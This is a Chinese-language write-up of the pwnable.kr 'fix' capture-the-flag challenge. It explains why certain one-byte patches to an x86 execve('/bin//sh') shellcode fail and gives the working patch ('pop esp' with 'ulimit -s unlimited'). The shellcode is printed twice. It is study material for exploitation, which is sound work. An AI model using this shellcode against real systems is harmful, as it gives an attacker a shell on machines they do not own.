Pwnable kr fix 题解
复制本地路径 | 在线编辑
要求: 修改下面的 shellcode, 只修改一个字节使其可以成功执行.
0 xor %eax,%eax
1 push %eax
2 push 0x68732f2f #/bin//sh
3 push 0x6e69622f
4 mov %ebx,%esp
5 push %eax
6 push %ebx
7 mov %ecx,%esp
8 mov %al, 0xb
9 int 0x80
PS: /bin//sh 没有问题, 无论多少个 / 都可以
错误做法
有几种方式是不可以的:
- Line 5: push %eax → leave
明确 ecx 是 char**,所以他会根据地址遍历,也就是逐个去访问 [ecx] 开始的表,直到遍历到 0
[ecx] = '/bin/sh',下面就看 [ecx]+4 是啥了。
Line 5 的 push %eax 就是把 [ecx]+4 变为0,所以要变这个,最后会失败。
- Line 1: push %eax → leave
明确 ebx 是 char*,按照正常来说,应该是'/bin//sh\0'。
原来的push %eax相当于push 0,所以 /bin//sh 下面是0,但你改成leave,下面不是0,他就要根据下面存的东西去寻址,显然失败。
正确的做法
Line 5: push %eax → pop esp
0 xor %eax,%eax
1 push %eax
2 push 0x68732f2f #/bin//sh
3 push 0x6e69622f
4 mov %ebx,%esp
5 pop %esp
6 push %ebx
7 mov %ecx,%esp
8 mov %al, 0xb
9 int 0x80
前提是需要执行 ulimit -s unlimited,允许 esp 变成 0x6e69622f 这种值。
- 第一个问题:
pop esp后,ebx还是指向/bin吗?/bin已经被 pop 到esp了,为什么ebx指向的还是/bin?
还是不够深入理解。pop之后原位置数据又不会清空!所以ebx指向原来的那个位置,那个位置里面还是/bin!
- 第二个问题:这个和错误做法 1 有什么不同?
改变后的esp是0x6e69622f,在gdb中调试,可以看到0x6e69622f及其后面几个都是0,所以错误做法 1 的错误原因可以规避掉。